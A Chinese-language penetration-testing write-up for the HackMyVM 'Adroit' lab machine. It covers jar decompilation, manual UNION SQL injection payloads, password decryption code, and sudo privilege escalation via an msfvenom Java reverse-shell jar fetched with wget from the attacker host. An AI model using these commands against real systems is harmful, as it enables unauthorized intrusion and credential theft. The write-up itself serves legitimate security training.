HackMyVM-Adroit靶机的测试报告
目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Getshell
3、提权
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.101.127)
靶 机:debian(192.168.101.103)
物理机:win11(192.168.101.241)
注意事项:该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、ftp(登录ftp服务器)、java、ssh(远程登陆)、msfvenom(生成jar木马)、update-alternatives(切换Java版本)
Jd-gui(反编译jar包)
靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。
地址:https://hackmyvm.eu/machines/machine.php?vm=Adria
二、测试目的
熟悉反编译jar包,获取信息,使用jar形式的反弹shell。
三、操作过程
1、信息搜集
主机探测
arp-scan -l -I eth1
靶机IP是:192.168.101.103
端口和服务扫描
nmap -sT -A -p- -T4 192.168.101.103
开启了21端口(ftp服务)、22端口(ssh服务)、3306端口(mysql服务)
尝试登录ftp,使用ftp作为用户名成功登录
ftp 192.168.101.103
ftp
查看发现一个目录,目录下有三个文件,全部下载
ls
cd pub
ls -la
get note.txt
get adroitclient.jar
get structure.PNG
查看note.txt信息,介绍了这个jar包的来历
cat note.txt
查看图片,是拓扑图,可以看到,这个jar包可以连接mysql数据库
2、Getshell
接下来进行反编译jar包
用jd-gui查看
可以看到很大信息
secret:Sup3rS3cur3Dr0it
域名:adroit.local
username:zeus
password:god.thunder.olympus
接下来尝试运行jar包,需要使用jdk11以上
Kali切换jdk版本命令:
update-alternatives --config java
因为jar包中访问靶机使用的是域名,需要给kali的hosts文件中添加一条
echo 192.168.101.103 adroit.local >> /etc/hosts
接下来就可以正常运行jar包了
java -jar adroitclient.jar
username和password在反编译中找到了
zeus/god.thunder.olympus
这里jar是和数据库交互的,尝试sql注入
1 union select 1,database() -- -
1 union select 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema ='adroit' -- -
1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' -- -
1 union select 1,group_concat(username,0x3a,password) from users -- -
得到结果:
数据库:adroit
数据表:ideas,users
字段名:
id,password,username,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,USER值:writer:l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=
获得了账户密码
相应的解密代码可以在jar包中反编译发现
Cryptor类方法
解密过程,将Cryptor类复制到本地,然后在末尾添加main方法
这里加密过的密码有问题,需要将第二个0改为O,即015-->O15
public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {Cryptor cryptor = new Cryptor();String password = cryptor.decrypt("Sup3rS3cur3Dr0it", "l4A+n+p+xSxDcYCl0mgxKrO15+OEC3aOfdrWafSqwpY=");System.out.println(password);}
解密完成后,得到密码
just.write.my.ideas
现在可以尝试ssh登录靶机了,信息搜集时得到,靶机开启了22端口的ssh服务
writer/just.write.my.ideas
可以在当前家目录找到user.txt
ls -la
cat user.txt
flag:61de3a25161dcb2b88b5119457690c3c
3、提权
查看可利用的文件
sudo -l
可以以root身份执行一个jar文件
那么可以使用msf生成jar的反弹shell木马进行利用
msfvenom -p java/shell_reverse_tcp lhost=192.168.101.127 lport=4444 -f jar -o reverse.jar
Msf开启反向监听
msfconsole
use exploit/multi/handler
set payload java/shell_reverse_tcp
set lhost 192.168.101.127
set lport 4444
exploit
将反弹shell木马上传到靶机并构建sudo文件
wget 192.168.101.127:8888/reverse.jar
cp reverse.jar /tmp/testingmyapp.jar
sudo -u root java -jar /tmp/testingmyapp.jar
可以在攻击机kali上监听到root权限的shell
id
可以在root的家目录查看到root的flag
cd
SHELL=/bin/bash script -q /dev/null
ls -la
cat root.txt
得到root.txt
flag:017a030885f25af277dd891d0f151845
四、结论
熟悉了下java语言的规则和反编译方法。练习手工sql注入,利用jar文件进行sudo提权,jar反弹shell木马。